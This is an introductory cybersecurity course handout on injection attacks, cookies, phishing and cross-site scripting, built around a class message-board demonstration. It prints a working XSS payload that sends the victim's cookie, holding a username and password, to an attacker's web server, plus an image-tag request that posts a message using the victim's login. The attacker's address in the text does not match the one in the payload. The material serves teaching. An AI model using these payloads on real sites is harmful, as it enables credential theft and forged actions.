
SI110 Intro to Cyber Security Summary: Injection Attacks and Cross-Site Scripting 

A. Injection attack: an attack resulting from an input validation failure that permits 

code to be input ... this unexpected code is then executed. Example: the design of the 

SI110 message board system permits adding (“injecting”) Javascript to the HTML in file 

mb.html, which is the message board webpage stored on and served by rona. Any browser 

loading the message board will then execute the injected script. 
 

B. Cookies: information stored in a browser and sent to a server with each resource 

request. A typical use is sending authentication credentials to the server. For example, 

the SI110 message board has your browser store the username and password you logged in 

with. Those credentials are then sent as uname=____&pswd=____ to rona along with your 

posts, and are checked by the server-side script mb.cgi. 
 

C. Phishing: a social engineering attack that attempts to obtain information by 

masquerading as a trusted entity. Phishing tricks an unsuspecting user into "biting" at 

some type of bait - e.g., opening an enticing email attachment. 
 

D. Cross-site scripting (XSS) attack: an attack where code from one source gets executed 

with security credentials that belong to another source. 
 

E. XSS and phishing demonstrated in class: 
 

1. Midn Door is logged-in to instructor Stahl’s message board with username=“Bill”, 
password=“goat”. 

 

2. Instructor sends him an email with this file as an attachment: 
 

<html> 

  ... etc 

  <img src="http://rona.cs.usna.edu/~stahl/msg/mb.cgi?msg=My+SI110+prof+is+a+doofus."> 

  ... etc 

</html> 
 

3. Door opens the email attachment using the same browser he is currently logged-in to 
the message board with. His browser sends his message board cookie with this request: 
 

   http://rona.cs.usna.edu/~stahl/msg/mb.cgi?msg=My+SI110+prof+is+a+doofus." 
 

The mb.cgi script uses his cookie information to authenticate him as having a message 

board account. Since it is a valid cookie, this message is posted: 
 

 Bill: My SI110 prof is a doofus.  

 

F. XSS and injection attack demonstrated in class: 

 

1. Midn Door is logged-in to instructor Stahl’s message board. 
 

2. I.M. Evil has a webserver running on a computer identified as 10.53.21.167. 
 

3. I.M. Evil somehow gets the following posted to the message board (i.e., added to 
mb.html): 

 

Here's a nice picture: 

<script>document.write('<img src="http://131.122.90.35/kitten.jpg?' + document.cookie + '">');</script> 
 

4. Door at some point refreshes his message board page, thereby GETting the new mb.html 
containing the above script. Door’s browser executes the script, which adds this 

element to the DOM: <img src="http://131.122.90.35/kitten.jpg?uname=Bill&pswd=goat"> 
 

5. Not having that image, his browser makes a request to I.M. Evil’s web server for it … 
also sending his username/password cookie info to Evil’s webserver, which duly records 

it in the acccess log. 

 

Step #3 is the difficult part: how does I.M. Evil get something posted to a messsage 

board if he does not have a message board account? What if he executed a successful email 

phishing attack like (E), tricking someone who is currently logged-in to the message 

board, to unknowingly post it for him ?! 


